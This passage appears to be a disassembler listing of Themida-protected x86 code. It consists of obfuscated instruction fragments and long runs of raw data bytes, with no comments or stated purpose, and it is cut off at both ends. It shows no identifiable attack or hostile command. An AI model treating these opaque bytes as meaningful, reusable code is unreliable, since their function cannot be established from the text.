0D2F74D47h, 0C841F281h, 0D731EC18h dd 4FDFF75Ah, 3FF8EF81h, 0FB319D6Dh, 77C7815Fh, 13D9178h dd 517CE9DFh, 0BD55FFFFh, 37662032h, 0FAB0E950h, 3C89FFFFh dd 2474FF24h, 0F538E904h, 0E9C1FFFEh, 0FF74E907h, 0FF56FFFEh dd 0E9042474h, 0FFFFB696h, 0CA1C381h, 0C30108B8h, 0CA1EB81h dd 0ECE908B8h db 0D3h, 0FEh, 0FFh ; --------------------------------------------------------------------------- loc_56477B: ; CODE XREF: Themida_:00557CC8j mov cl, dh push dword ptr [esp] pop edx add esp, 4 push dword ptr [esp] pop ebx push ebx jmp loc_56180B ; --------------------------------------------------------------------------- dw 487h dd 24248B24h, 9CC83B66h, 0FEBC83E9h, 0E08950FFh, 405h dd 40500h, 4870000h, 0C953E924h, 0EB83FFFEh, 4DF56804h dd 1C890000h, 2474FF24h, 241C8B04h, 4C481h, 48F0000h, 0A426E924h dd 1C89FFFFh, 56E38924h, 4BEh, 2AE900h, 0E957FFFFh, 0FFFF9614h dd 68243489h, 66C7h, 57241C89h, 2406ACBFh, 0E9FB8917h dd 0FFFFAFB8h, 1B5F17BAh, 5AD12996h, 8159CA89h, 4ECh, 0EF49E900h dd 0E959FFFFh, 0FFFEEB3Dh, 4005E0C1h, 506E8C1h, 0FC884EBDh dd 0DC9C181h, 0C129047Fh, 0DC9E981h, 48B047Fh, 1E1EE924h dd 1489FFFFh, 3F126824h, 0E95A0E54h, 0FFFF90DCh ; --------------------------------------------------------------------------- loc_56484C: ; CODE XREF: Themida_:00560069j mov esi, esp add esi, 4 add esi, 4 xchg esi, [esp] pop esp push 0 sub [esp], ecx mov ecx, [esp] add esp, 4 jmp loc_562DBE ; --------------------------------------------------------------------------- db 53h, 0E9h, 93h dd 0C1FFFF3Ch, 0BF5706E3h, 7C731344h, 61D7E947h, 0D9F7FFFFh dd 0E9C1E1D1h, 3FE95307h, 5CFFFF5Bh, 1BF57h, 0FA010000h dd 1BF2815Fh, 680F8119h, 3EB3h, 68240489h, 0DB295FFAh dd 4F7DE958h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5648B6: ; CODE XREF: Themida_:00553A33j inc edx sub edx, 5F6267A2h xor eax, edx pop edx jmp loc_557723 ; --------------------------------------------------------------------------- db 33h, 14h, 24h dd 0FFF374E9h, 5D829FFh, 459730ACh, 1893055Bh, 0CBE9135Bh dd 5AFFFF49h, 5BD90159h, 0FF6878E9h, 4EC83FFh, 68243489h dd 3062h, 81242489h, 42404h, 348B0000h, 4C48124h, 52000000h dd 0F358E956h, 555BFFFFh, 4BDh, 5DEB0100h, 0FFE83AE9h db 0FFh ; --------------------------------------------------------------------------- loc_56491D: ; CODE XREF: Themida_:00560D94j push edx mov edx, 6BA672ABh jmp loc_5600A0 ; --------------------------------------------------------------------------- dd 8324348Bh, 0E94704C4h, 0FFFEFEEEh, 0E904C083h, 0FFFF0534h dd 8675E957h, 0E954FFFFh, 0FFFF2EFBh, 43B6ED81h, 0F5812535h dd 9BFB8D05h, 295DEA31h, 1C8B5AD7h, 4C48124h, 87000000h dd 248B243Ch, 241C8924h, 8324048Bh, 0EC8304C4h, 24148904h dd 5C6AE957h, 0EB83FFFFh, 0EFC38101h, 0C1795C0Ch, 0C38105E3h dd 351B68A1h, 0AB62F381h, 0DD01AE75h, 27FBE95Bh, 0F701FFFFh dd 24148B5Eh, 8104C483h, 2C7h, 4970E900h, 0DDF7FFFFh, 3512F581h dd 0ED81035Fh, 2C0A2DF0h, 0FF861CE9h, 2474FFFFh, 24048B04h dd 0E904C483h, 0FFFFA054h, 5FFD295Ah, 0A02FE957h, 0AC68FFFFh dd 89000004h, 4BD242Ch, 1000000h, 2E64E9EBh db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5649F2: ; CODE XREF: Themida_:0055E180j sub esp, 4 jmp loc_55CB93 ; --------------------------------------------------------------------------- db 0Fh, 0B6h, 0C8h dd 6A1D68h, 243C8900h, 0DFE95F54h db 8Dh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_564A0F: ; CODE XREF: Themida_:0056201Dj push esi jmp loc_5566A6 ; --------------------------------------------------------------------------- loc_564A15: ; CODE XREF: Themida_:005595D7j sub bl, 16h mov cl, bl jmp loc_555DE6 ; --------------------------------------------------------------------------- db 2Ch dd 4EC831Bh, 0B1240C89h, 80D1F6D5h, 0C82854E9h, 0B7536659h dd 2EC8185h, 66000000h, 83240C89h, 1C8904ECh, 0FEF7B724h dd 0E9DFF6CFh, 0FFFF8046h, 0ED81C529h, 67FF6107h, 3B6E0558h dd 0FAE95FECh, 5FFFFEECh, 4C381h, 0FF530000h, 5B042474h dd 0FF7A4AE9h db 0FFh ; --------------------------------------------------------------------------- loc_564A75: ; CODE XREF: Themida_:0055E944j pop edx sub esp, 4 jmp loc_55267B ; --------------------------------------------------------------------------- db 66h, 31h, 0CAh dd 0FF82E2E9h, 24048FFFh, 4BB53h, 0B8500000h, 371A77CCh dd 8244429h, 0D0FAE958h, 0C483FFFFh, 8BCB0104h, 8956240Ch dd 4C681E6h, 83000000h, 348704C6h, 1C335C24h, 241C3124h dd 0FFF191E9h db 0FFh ; --------------------------------------------------------------------------- loc_564AC5: ; CODE XREF: Themida_:00552489j mov esi, 14C0414Bh jmp loc_56347A ; --------------------------------------------------------------------------- db 0C1h dd 0C2E904E7h, 89FFFF07h, 0E789243Ch, 0FF8787E9h, 0E9D001FFh dd 0FFFEC710h, 4633BE56h, 0DEF75388h, 53EE814Eh, 0F739F320h dd 0BFC7E9DEh, 45BAFFFEh, 0E90B7243h, 0FFFF2E29h, 83242489h dd 8B042404h, 0C481241Ch, 4, 4EC81h, 3C890000h, 21D4BF24h dd 0EF817D93h, 183E4001h, 8107EFC1h, 0D30A2AEFh, 0BA4BE944h dd 1487FFFEh, 0F3815C24h, 13935647h, 68h, 80BFE900h, 0C281FFFFh dd 6A69432Bh, 7896BB53h, 0DA31782Ah, 83241C8Bh, 6BE904C4h dd 5DFFFEE3h, 31243433h, 34332434h, 24248B24h, 7B0568h dd 24048900h, 0FEB89FE9h, 2434FFFFh, 0C70EE95Fh, 0C381FFFEh dd 18862C4Ah, 241C8758h, 4995685Ch, 1C890000h, 4BB24h dd 0ED810000h, 0F70789Ch, 0FEC12CE9h, 1AB866FFh, 44296648h dd 58660424h, 243C8B66h, 72EA68h, 1BFBE900h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_564BC6: ; CODE XREF: Themida_:00554F70j add ebx, edi jmp loc_55133E ; --------------------------------------------------------------------------- db 66h, 8Bh, 4 dd 944CE924h, 3540FFFFh, 55FC76C8h, 0FEDA5AE9h, 0EFEB81FFh dd 0E95F040Bh, 0FE6h, 2C28159h, 51000000h, 0C181E189h dd 4, 0FEC4E3E9h, 4EC83FFh, 0FED46FE9h db 0FFh ; --------------------------------------------------------------------------- loc_564C09: ; CODE XREF: Themida_:005583BDj add esi, 10263D62h jmp loc_55DCEE ; --------------------------------------------------------------------------- dd 4C281h, 0C2830000h, 0FF18E904h, 0EE83FFFFh, 24348704h dd 0FEBA13E9h, 0C08AB3FFh, 0EBC003E3h, 0FEDBF606h, 70EB80C3h dd 1C8BDD30h, 4C48324h, 0C8BEE28h, 5C20E924h, 3C87FFFFh dd 0C8205C24h, 240C8B66h, 27B868h, 24048900h, 0BD55E089h dd 4, 0FF937BE9h, 83E089FFh, 3C8904ECh, 62F1BF24h, 0E781252Eh dd 1778090Bh, 4702EFC1h, 5F781h, 39E9014Ah db 95h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_564C8F: ; CODE XREF: Themida_:00558730j add esp, 4 jmp loc_55A13B ; --------------------------------------------------------------------------- dw 3C8Bh dd 4C48324h, 8B2434FFh, 0C483241Ch, 4C48104h, 68000000h dd 2EE4h, 0E9243C89h, 0FFFF37D7h, 0E94D7DBBh, 25CB814Bh dd 0E973871Bh, 0FFFFFCB2h ; --------------------------------------------------------------------------- loc_564CCC: ; CODE XREF: Themida_:00558716j add esp, 4 xor ecx, edx jmp loc_56414F ; --------------------------------------------------------------------------- dw 0EAC0h dd 6EAC004h, 80ABC280h, 0D08843F2h, 0F6D0F65Ah, 0E9262CD0h dd 0FFFEF8EEh ; --------------------------------------------------------------------------- loc_564CF0: ; CODE XREF: Themida_:0055B790j mov [eax], ebp jmp loc_5554F4 ; --------------------------------------------------------------------------- db 5Dh dd 814FD7F7h, 56E165F7h, 5FFD018Ah, 8324148Bh, 0FF5504C4h dd 8B042474h, 0C483242Ch, 24048F04h, 0E924248Bh, 0FFFFA1CDh dd 7C301D68h, 0E035584Ah, 8919FB47h, 0EA8158C2h, 19E05EF3h dd 534FE981h, 0C1815C01h, 558F0CB6h, 5352D101h, 0FFB7ECE9h dd 0B85057FFh, 5F153DA5h, 72E4B12Dh, 5133E91Ch, 0EC83FFFFh dd 4653E904h, 487FFFFh, 0F6815E24h, 9319A016h, 34FFF101h dd 0B9DAE924h, 23B9FFFFh, 0E932B251h, 0FFFF0862h, 0E95EF229h dd 0FFFF2AC1h, 8B2434FFh, 0C4812414h, 4, 1EABE955h, 0C181FFFFh dd 1E405A77h, 7CD4E981h, 1C8B1931h, 4C48124h, 1000000h dd 0FF5259CAh, 0E9042474h, 0FFFEB76Dh, 815B5453h, 4C3h dd 0E3895300h, 4C381h, 0EB810000h, 4, 0FFD7E0E9h, 95C581FFh dd 8130CA60h, 387249EDh, 5DEF01C0h, 5D7CF781h, 72E95639h dd 83FFFFB6h, 0C8704C1h, 0D5E95C24h db 0B0h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_564DFF: ; CODE XREF: Themida_:00561DF4j mov ebp, 533145DEh push 20B5h mov [esp], ecx jmp loc_55E52C ; --------------------------------------------------------------------------- loc_564E11: ; CODE XREF: Themida_:00554598j push edx mov dh, 0C7h dec dh jmp loc_552BFE ; --------------------------------------------------------------------------- db 33h dd 0F4E9243Ch, 0F7FFFF37h, 5B8B0DD0h, 16E938E4h, 0BFFFFF3Eh dd 10E85B0Ah, 0E85B0EBDh, 0E9FD3110h, 0FFFF645Ch, 54241489h dd 5A2434FFh, 56E28952h, 0A0206BEh, 72E68177h, 0F7040772h dd 6C681DEh, 1040202h, 0F232E9F2h, 0ED81FFFEh, 3F6F1570h dd 5ECAC581h, 0E801A017h, 69CC055Dh, 0D5E90587h, 5CFFFF2Dh dd 68243489h, 7011h, 0E9242C89h, 0FFFF9C16h, 0E92434FFh dd 0FFFF080Dh, 54242C89h, 53242C8Bh, 0FFF375E9h, 4C483FFh dd 31240C33h, 0EE9240Ch, 1FFFF90h, 0C1835DE9h, 240C3304h dd 33240C31h, 4EE9240Ch, 0B0FFFF25h, 17C38018h, 0B151C300h dd 8E9C03Ch, 2817F180h, 8B6659CBh, 15E92404h, 0BFFFFF31h dd 2, 4AC3ED81h, 0C5816873h, 653B6BF1h, 0FEF05AE9h, 405FFh dd 48E90000h, 0F7FFFFDBh, 0CDC781DFh, 312FF8E6h, 50E9FBh dd 248B0000h, 590A8824h, 0FEB503E9h, 2C6268FFh, 4890000h dd 0A1E95424h, 81FFFFEBh, 4C6h, 74FF5600h, 8F5E0424h, 8B5C2404h dd 9E92434h, 89FFFF1Dh, 4C181E1h, 81000000h, 4E9h, 240C8700h dd 240C895Ch, 9B68h, 2B72E900h, 895FFFFFh, 0C6815BDFh dd 782032C6h, 26E9FE01h db 16h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_564F73: ; CODE XREF: Themida_:0055E26Fj pop esi jmp loc_5512B8 ; --------------------------------------------------------------------------- db 87h, 0CDh, 81h dd 9230DBE5h, 0F9C58174h, 1BFFFEFh, 0A5E95DEBh, 0BEFFFF47h dd 6FF42091h, 0B24F681h, 0F6811DD5h, 6D312E19h, 14E9DEF7h dd 1FFFF06h, 14335BDAh, 24143124h, 0FED282E9h, 59CF29FFh dd 2474FF57h, 0DD39E904h, 2C87FFFEh, 2685C24h, 89000015h dd 21E9240Ch, 41FFFEDCh, 922AC181h, 0ED81FEEDh, 58D108A8h dd 5A08C581h, 0CD014F0Ch, 5A08ED81h, 0C5814F0Ch, 58D108A8h dd 81240C8Bh, 4C4h, 696E900h, 0DDF7FFFFh, 5705E5C1h, 0FF2C7EE9h dd 48B66FFh, 5D166824h, 4890000h, 5E08924h, 4, 3304E883h dd 4312404h, 24043324h, 9793E95Ch, 0BE56FFFFh, 0FBF1CA6h dd 0FF83FCE9h db 0FFh ; --------------------------------------------------------------------------- push ebp mov ebp, esp push eax mov eax, 4 add ebp, eax mov eax, [esp] add esp, 4 push ebx mov ebx, 4 add ebp, ebx pop ebx xchg ebp, [esp] pop esp xor eax, [esp] xor [esp], eax jmp loc_5579C3 ; --------------------------------------------------------------------------- db 50h, 52h, 0E9h dd 0FFFF2171h, 5B66DE28h, 305AF388h, 241C8BDDh, 0FF6333E9h db 0FFh ; --------------------------------------------------------------------------- loc_565081: ; CODE XREF: Themida_:005512BCj pop eax pop ebp add eax, 6CD319C6h add eax, 78F94D5Fh jmp loc_55A807 ; --------------------------------------------------------------------------- dw 158h dd 240C8BC8h, 4EC81h, 34890000h, 4EC8124h, 89000000h, 9BE92424h dd 31FFFF90h, 14332414h, 24248B24h, 34FFF021h, 0C4815E24h dd 4, 3118E8C1h, 4EC83C8h, 83240489h, 0C8904ECh, 2474FF24h dd 240C8B04h, 8904EC83h, 65E9243Ch, 80FFFFC5h, 0D32819C3h dd 0FE36B652h, 32CE80CEh, 0FEB82EE9h, 546866FFh, 1C89662Ch dd 0CB39E924h, 0BB53FFFFh, 4, 1C8BDF01h, 0E51CE924h, 0E95CFFFEh dd 0FFFF199Ah ; --------------------------------------------------------------------------- loc_56511C: ; CODE XREF: Themida_:00556A5Bj push dword ptr [esp] jmp loc_55C661 ; --------------------------------------------------------------------------- dd 0E95AD328h, 0FFFEBEB3h ; --------------------------------------------------------------------------- loc_56512C: ; CODE XREF: Themida_:0055117Ej mov ecx, 0F9F2575h xor ecx, 330F190Dh not ecx add ecx, 6CAD62DBh jmp loc_560302 ; --------------------------------------------------------------------------- dd 0BE243489h, 4, 34FFF201h, 24348B24h, 8304C483h, 0FF5204C4h dd 5A042474h, 0E924048Fh, 0FFFF484Dh, 4DE9E389h, 0BBFFFF2Ch dd 4D2959B0h, 5106E3C1h, 0FF54E2E9h, 2CD828FFh, 2EC83E4h dd 241C8966h, 0C8B25266h, 8B66D388h, 54562414h, 0FFB63EE9h db 0FFh ; --------------------------------------------------------------------------- loc_565199: ; CODE XREF: Themida_:005630BEj mov esi, eax jmp loc_55D45A ; --------------------------------------------------------------------------- dd 0D53002B2h, 0EB805A66h, 80EB0034h, 515934C3h, 0E1C09BB1h dd 80E18003h, 0FE06E9C0h, 80C1FEC9h, 0EB80D7E9h, 81CB00EDh dd 4ECh, 24148900h, 0FEF349E9h, 24148BFFh, 4C481h, 68590000h dd 1A22h, 0E9242C89h, 0FFFF2FFEh, 81E78957h, 4C7h, 4C78300h dd 5C243C87h, 0E91C77FFh, 0FFFED885h ; --------------------------------------------------------------------------- loc_565204: ; CODE XREF: Themida_:0055387Aj mov edi, esp push edx mov edx, esp add edx, 4 sub edx, 4 jmp loc_55E965 ; --------------------------------------------------------------------------- db 0E9h dd 0FFFEB204h, 4C481h, 0EE810000h, 61BB6BD9h, 0D0E9DEF7h dd 56FFFFB8h, 0FEFC5CE9h, 0E98B2CFFh, 32Ah, 0EE015F59h dd 0FFD6F8E9h, 1C181FFh, 49000000h, 0FF03B8E9h, 240487FFh dd 241C895Ch, 0BA52E389h, 71A77992h, 0BB9C281h, 76E915BCh dd 5BFFFF42h, 0C8BCE31h, 4C48324h, 0FF3AA4E9h, 4C481FFh dd 68000000h, 1C96h, 0BA241489h, 4, 47B95152h, 0C1228447h dd 0D1F708E9h, 6710E981h, 0CA89B385h, 0FF3F21E9h db 0FFh ; --------------------------------------------------------------------------- loc_5652A5: ; CODE XREF: Themida_:005546EFj add ebp, 4 xchg ebp, [esp] pop esp push 4654h mov [esp], ecx push ebp push 16354023h pop ebp xor ebp, 16354021h jmp loc_55F6C5 ; --------------------------------------------------------------------------- loc_5652C9: ; CODE XREF: Themida_:005636CFj mov [esp], eax mov eax, 451317D4h sub eax, 3FEB556Dh not eax shr eax, 3 sub eax, 0FCA3C14Ah dec eax shr eax, 4 jmp loc_5558A3 ; --------------------------------------------------------------------------- db 50h, 0B8h, 4 dd 81000000h, 862C4AEBh, 0E9C30118h, 0FFFFF88Eh, 8324348Bh dd 895704C4h, 4C781E7h, 81000000h, 4C7h, 243C8700h, 0FF7DD4E9h dd 7822B9FFh, 26E9778Ch, 81FFFF95h, 0BF5DEAE2h, 0DF03E91Dh dd 5066FFFFh, 0B0EAE99Ch, 34FFFFFEh, 0B1CBE924h, 0DDE9FFFFh dd 81FFFEB0h, 0E863B2EBh, 531DE905h, 0DA88FFFFh, 3A2E9h dd 81D6F700h, 0CE1A72F6h, 0CA07E948h, 0BF57FFFEh, 50617495h dd 4708EFC1h, 0FBDCEF81h, 0FB01B31Bh, 0FFF808E9h db 0FFh ; --------------------------------------------------------------------------- loc_565379: ; CODE XREF: Themida_:00556993j xor ebx, edx pop edx xor ebx, 9FEE868Ch add edi, ebx pop ebx sub edi, 4 xchg edi, [esp] pop esp mov [esp], ebx sub esp, 4 mov [esp], esi push eax mov eax, 0D064AB9h mov esi, 0D064ABDh sub esi, eax pop eax jmp loc_55A42D ; --------------------------------------------------------------------------- dd 9D1C77FFh, 24041958h, 0B06AE99Ch, 0F581FFFEh, 5DBB6CBBh dd 2C8BEF89h, 4C48324h, 0F5E9F801h, 68FFFEFFh, 5E6Eh, 0BF243C89h dd 0FB373EBh, 0D3F7DF87h, 0E781DF87h, 0B7324F5h, 0BB535652h dd 369F291Ch, 0D8574DBEh, 0DB12E9ACh, 0D001FFFFh, 0FFBF59E9h dd 0AEB753FFh, 88FD8851h, 0E95B59EAh, 0FFFEF013h ; --------------------------------------------------------------------------- loc_56540C: ; CODE XREF: Themida_:005636A9j pop esp jmp loc_563943 ; --------------------------------------------------------------------------- dw 159h dd 83E95DE8h, 83FFFED9h, 525504C4h, 930D8DBAh, 0D43BD4Ch dd 0D501CE5Ch, 7DB055Ah, 0E1E95A07h, 8FFFF4Eh, 805B66DAh dd 6866A2E2h, 89667C30h, 6AB5240Ch, 8B66EA00h, 0C481240Ch dd 2, 515AD000h, 0FF0B60E9h, 0CEB151FFh, 6608E9C0h, 0FE08B050h dd 0E9C0FEC0h, 0FFFEC379h, 0EA79E958h, 1DB8FFFFh, 0BB37D73Eh dd 674587F4h, 0F758C329h, 0ADCB81D3h, 0F70FE820h, 0EB8143D3h dd 1, 6808E3C1h, 5BDBh, 0FFEFC0E9h, 4B9FFh, 0D9E90000h dd 1FFFF1Ah, 87DAE9F1h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5654B2: ; CODE XREF: Themida_:00560304j mov ecx, [esp] add esp, 4 push edi not dword ptr [esp] pop edi push eax mov eax, 3F4140E0h sub edi, eax pop eax sub edi, 0CAA9502h jmp loc_5520F4 ; --------------------------------------------------------------------------- dd 815AD321h, 0AF2050C3h, 5BDF89D0h, 15FF831h, 24048BC7h dd 4C481h, 3C330000h, 243C3124h, 8B243C33h, 0EC812424h dd 4, 89243489h, 4C681E6h, 0E9000000h, 0FFFFEF23h ; --------------------------------------------------------------------------- loc_565510: ; CODE XREF: Themida_:0055DD9Aj push dword ptr [esp] jmp loc_55848D ; --------------------------------------------------------------------------- dd 24048F59h, 0FF3142E9h, 59CE08FFh, 5585450h, 4, 5004E883h dd 0FFF490E9h, 15C580FFh, 7DE9EF30h db 0DFh, 0FEh, 0FFh ; --------------------------------------------------------------------------- loc_56553F: ; CODE XREF: Themida_:00565AD0j push ecx mov ecx, esp push ebx mov ebx, 4 add ecx, 23635436h add ecx, ebx sub ecx, 23635436h pop ebx sub ecx, 4 xchg ecx, [esp] pop esp jmp loc_55D9A2 ; --------------------------------------------------------------------------- dw 0E800h dd 0F8E98B04h db 32h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_56556F: ; CODE XREF: Themida_:00557F20j sub eax, 4C247E1h jmp loc_56200A ; --------------------------------------------------------------------------- db 56h, 0BEh, 4 dd 1000000h, 0B2FEE9F7h, 0D2F7FFFEh, 8105EAC1h, 0DB31F6EAh dd 0E9D501FDh, 0FFFFD922h, 3C8BFA29h, 4C48124h, 0E9000000h dd 0FFFF0844h ; --------------------------------------------------------------------------- loc_5655A8: ; CODE XREF: Themida_:0055B963j pop edi jmp loc_556998 ; --------------------------------------------------------------------------- dw 0C8Bh dd 4C48124h, 0E9000000h, 0FFFF0E3Fh, 0E9D82158h, 0FFFF2669h dd 0E92434FFh, 0FFFF3223h, 1FCD68h, 24148900h, 146E68h dd 24048900h, 51736B8h, 7E0C11Dh, 0B4E9E0D1h, 89FFFF7Eh dd 0FDE9243Ch, 51FFFEEFh, 0B25267B1h, 61EA80CFh, 0FF19C0E9h dd 0EF015EFFh, 0E289525Dh, 4C281h, 91E90000h, 5AFFFF09h dd 0D6F7DEF7h, 425CBF57h, 0C783579Fh, 190CE9FFh, 0B850FFFFh dd 24006D38h, 8158C701h, 0EC6245C3h, 51FB0164h, 0FF0D11E9h dd 24348BFFh, 4C481h, 5E90000h, 0FFFFFF2Dh, 669D1C77h dd 241CD359h, 0ADC6E99Ch, 2C89FFFEh, 4BD24h, 6C010000h dd 0FF5D0424h, 0AE92434h, 68FFFFD2h, 0D59234Fh, 0E6ABE959h dd 2C89FFFFh, 5BE46824h, 5CE90000h, 89FFFFC0h, 5FFB89D7h dd 8BD9015Ah, 0E9241Ch, 81FFFFC1h, 7363E8E2h, 0EFEA810Ah dd 1A744C8h, 348B5AD3h, 548E6824h, 3C890000h, 0DE95424h dd 0BBFFFFC7h, 1, 425BDA29h, 8304EAC1h, 2C8904ECh, 0BE565124h dd 56670AE0h, 1601BF57h, 6BE9502Eh, 89FFFF66h, 93E92404h dd 0FFFFFFC7h, 59042474h, 8B24048Fh, 3CD32424h, 29E99C24h dd 5BFFFEADh, 9FC280h, 0C8005AD1h, 57240C8Bh, 0C781E789h dd 4, 0FF3BE5E9h, 76F168FFh, 24890000h, 4EC8324h, 0FF82A8E9h dd 23C181FFh, 15E5E3Ch, 0A418E9E9h, 0F029FFFFh, 0AC7A572Dh dd 3C8B5E46h, 9FBCE924h, 0C89FFFFh, 99EB924h, 0BA526A27h dd 4D744047h, 815AD121h, 8FBC18E9h, 8BCA09E4h, 0C483240Ch dd 31C23104h, 83C231D0h, 8192FFC0h, 0D3369AC2h, 8BD50127h dd 0C4812414h, 4, 34B9BE56h, 7401308Ah, 82E90824h, 51FFFEBBh dd 0FF2554E9h, 0DBB252FFh, 203CF280h, 0D9F65AD1h, 0E980C9FEh dd 59CB2816h, 0E939EB80h, 0FFFED809h, 4C381h, 0EB810000h dd 4, 31241C33h, 1C33241Ch, 14895C24h, 2C6824h, 148B0000h dd 4C48324h, 81E28952h, 4C2h, 4EA8100h, 87000000h, 895C2414h dd 3AB9240Ch, 29779D70h, 0EA8159CAh, 1DA55E51h, 0C281FA01h dd 1DA55E51h, 703AC281h, 0B951779Dh, 0 dd 0BA52D101h, 0 dd 203CA01h, 240C8B5Ah, 81E28952h, 4C2h, 4C28300h, 5C241487h dd 5A2434FFh, 0FFC117E9h, 83EB81FFh, 52764D20h, 185C4ABAh dd 43C28121h, 0C16B895Eh, 0EA8107E2h, 0E8983BB2h, 0FEDF8AE9h dd 243C89FFh, 0EA02EEBFh, 5FF80106h, 24043359h, 33240431h dd 0E7E92404h, 29FFFF77h, 172F05F8h, 3C8B7189h, 4C48124h dd 81000000h, 8C6DAEC3h, 6BBD5540h, 0C109001Dh, 0D5F703E5h dd 3AAAF581h, 0F5811A7Ah, 0CACC3909h, 0FED705E9h, 541968FFh dd 1C890000h, 0C38E924h, 0C328FFFFh, 5095C380h, 0AEE984B4h dd 1FFFF5Fh, 2434FFFEh, 4C4835Fh, 0FFDF47E9h, 2C581FFh dd 55000000h, 42474FFh, 24048F5Dh, 0C594E95Ch, 0E95DFFFEh dd 0FFFF2E3Fh ; --------------------------------------------------------------------------- loc_5658DC: ; CODE XREF: Themida_:00560D77j mov [esp], ebp push 4067C5Ch mov ebp, [esp] push 7E45h mov [esp], ebp mov ebp, esp jmp loc_55B9D9 ; --------------------------------------------------------------------------- dw 22Ch dd 0F000AF2Ch, 0FF7417E9h, 1C5F09FFh, 8570E95Bh, 5259FFFFh dd 0C281E289h, 4, 4EA81h, 0E9520000h, 0FFFF80B6h, 8124048Bh dd 4C4h, 9720E900h, 8359FFFFh, 0EA8304C4h, 24148704h, 2434895Ch dd 42474FFh, 0FF1C71E9h, 242C8BFFh, 4C481h, 1C330000h dd 241C3124h, 0FF9C05E9h, 0D6E781FFh, 8141FC64h, 0DC6488F7h dd 8BFA3141h, 0C481243Ch, 4, 815AD689h, 0B17284C5h, 81F50145h dd 0B17284EDh, 0D129E945h, 248BFFFEh, 24042124h, 0AA8EE99Ch db 0FEh, 0FFh ; --------------------------------------------------------------------------- loc_565992: ; CODE XREF: Themida_:00556AB1j add edx, 4 xor edx, [esp] jmp loc_5525DB ; --------------------------------------------------------------------------- dd 0D788EA88h, 0FF8FFDE9h db 0FFh ; --------------------------------------------------------------------------- loc_5659A9: ; CODE XREF: Themida_:00551213j add ecx, 4 sub ecx, 4 xchg ecx, [esp] mov esp, [esp] jmp loc_55B81D ; --------------------------------------------------------------------------- db 81h, 0EEh, 4 dd 87000000h, 91E92434h, 52FFFFC8h, 0C281E289h, 4, 4B850h dd 0C2010000h, 8124048Bh, 4C4h, 74FF5200h, 8F5A0424h, 36E92404h dd 28FFFF32h, 0D7EE80EEh, 8B97C680h, 0C481240Ch, 4, 0E95AF588h dd 0FFFF7786h, 0D2F7D2F7h, 1EE6F281h, 0D00968DDh, 3B05485Ah dd 406B8246h, 9075FF2Dh, 58C229D0h, 0FED695E9h, 0D4ED81FFh dd 454730E9h, 0E9DDF74Dh, 0FFFF2F1Ch ; --------------------------------------------------------------------------- loc_565A3C: ; CODE XREF: Themida_:00551FC6j sub ebp, 5E97563Dh sub ebp, 1EB25EA9h mov ebx, [esp] jmp loc_5637EA ; --------------------------------------------------------------------------- aBI db 'Ă=',0 db 0EEh, 29h, 5Ch dd 0F1E90424h, 29FFFEDFh, 0BA525FFBh, 21A90A78h, 815AD309h dd 2E1438E3h, 5DEF681Fh, 1C890000h, 24343124h, 31243433h dd 80E92434h, 5CFFFF4Ch, 8001EE80h, 0EE8015CEh, 75E951B7h db 0DAh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_565A97: ; CODE XREF: Themida_:0055F476j mov edx, ebp pop ebp sub ebx, 37AC292Dh jmp loc_55741D ; --------------------------------------------------------------------------- db 0B8h, 0FBh, 38h dd 0E9527E58h, 0FFFF8893h, 5E78ED81h, 0DD0126B5h, 5E78C581h dd 0E95B26B5h, 0FFFFB1F0h, 0FF2434FFh, 0CDE92434h db 0D3h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_565ACF: ; CODE XREF: Themida_:00550FEDj pop esp jmp loc_56553F ; --------------------------------------------------------------------------- db 54h, 0E9h, 0A9h dd 66FFFEDBh, 0E924048Bh, 0FFFEE770h, 81242489h, 42404h dd 0E9580000h, 0FFFF1B9Ch, 0E95AD309h, 0FFFFC97Ah, 5CE991B6h dd 83FFFFDBh, 0EE8104C4h, 7DBB6BFBh, 0FEB042E9h db 0FFh ; --------------------------------------------------------------------------- loc_565B11: ; CODE XREF: Themida_:00552837j add edi, ebp mov ebp, [esp] jmp loc_551120 ; --------------------------------------------------------------------------- loc_565B1B: ; CODE XREF: Themida_:0055B067j neg eax xchg eax, edx push ecx push edx pop ecx pop edx xor ebp, ecx xor ecx, ebp xor ebp, ecx shr ebp, 4 xor ebp, 3035426Eh jmp loc_550A9E ; --------------------------------------------------------------------------- dw 0E689h dd 4C681h, 89510000h, 0A06850E1h, 584EA71Fh, 0E4E9D8F7h dd 9FFFF9Ch, 2434FFCEh, 0FF9716E9h, 83BB53FFh, 0C1100509h dd 0CB8105EBh, 0F377A94h, 4EC814Bh, 89000000h, 0BF572404h dd 1E66C23Fh, 0FF95B3E9h, 7AB768FFh, 4890000h, 51585424h dd 5ADF6857h, 3C8B308Fh, 0CE95624h, 66FFFF56h, 66CCB60Fh dd 6613FC68h, 66240C89h, 66C8B60Fh, 71E99C51h, 68FFFEA8h dd 4DF36FE4h, 5624148Bh, 0FF4900E9h, 156866FFh, 4896600h dd 0DA02E924h, 0C483FFFEh, 812FE904h, 0EB83FFFFh, 5DF381FFh dd 541AC53h, 72DF7901h, 7C154505h, 57A42D5Bh, 0D8295F9Fh dd 9F57A405h, 56BA525Fh, 0F756CC6Eh, 1EA81D2h, 0E9000000h dd 0FFFFBB5Eh, 0E189515Ah, 0FF0BEBE9h db 0FFh ; --------------------------------------------------------------------------- loc_565C0D: ; CODE XREF: Themida_:0056108Cj mov edi, [esp] add esp, 4 xchg esi, [esp] mov esp, [esp] mov [esp], ebp mov ebp, 1 and eax, ebp pop ebp or edx, eax shl edx, 1 push ecx push edx mov edx, 1 mov ecx, edx mov edx, [esp] add esp, 4 push 8A6h mov [esp], eax push ebx mov ebx, 421E5A62h or ebx, 7FA67195h jmp loc_564564 ; --------------------------------------------------------------------------- db 31h dd 3C33243Ch, 0E8C15C24h, 81C8310Ch, 4ECh, 243C8900h, 4EC81h dd 24890000h, 0AC9EE924h, 17B8FFFEh, 1020E00h, 24048BC5h dd 4C481h, 0EF010000h, 83242C8Bh, 0E95004C4h, 0FFFF8923h ; --------------------------------------------------------------------------- loc_565C94: ; CODE XREF: 